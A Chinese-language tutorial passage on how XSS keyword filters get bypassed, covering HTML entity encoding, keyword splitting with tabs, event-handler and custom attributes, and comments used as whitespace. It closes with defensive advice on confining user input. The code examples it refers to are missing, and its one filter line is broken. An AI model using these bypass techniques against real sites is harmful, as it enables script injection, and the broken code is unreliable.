你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持&SCii这种形式表示的,譬如上面的代码可以换成这样:
代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!
replace(str,”&“,”&“)
行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:
没有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦!依然是可以执行Html代码的,首先说说事件机制吧:
这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢?
当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:
呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成 是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:
嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!
3 本质
上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间内活动,这通过上面的分析大家也可能已经知道,只要在过滤了这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到”“之间,现在的一般的程序都是这样做的,譬如将会转化成这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过滤用户输入里”"实现,但是不要忘记了,这个标签本身也是不安全的,过滤掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤掉script关键字,最后就是防止用户通过&样的形式饶过检查,转换掉&吧!
4 困惑
在文章中开始提到的图里可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃html标签,因为需要支持多资多彩的页面,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵呵,
本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴!
【360webscan 0.1.1.9 XSS防御绕过脚本安全】相关文章:
5.脚本范文






文档为doc格式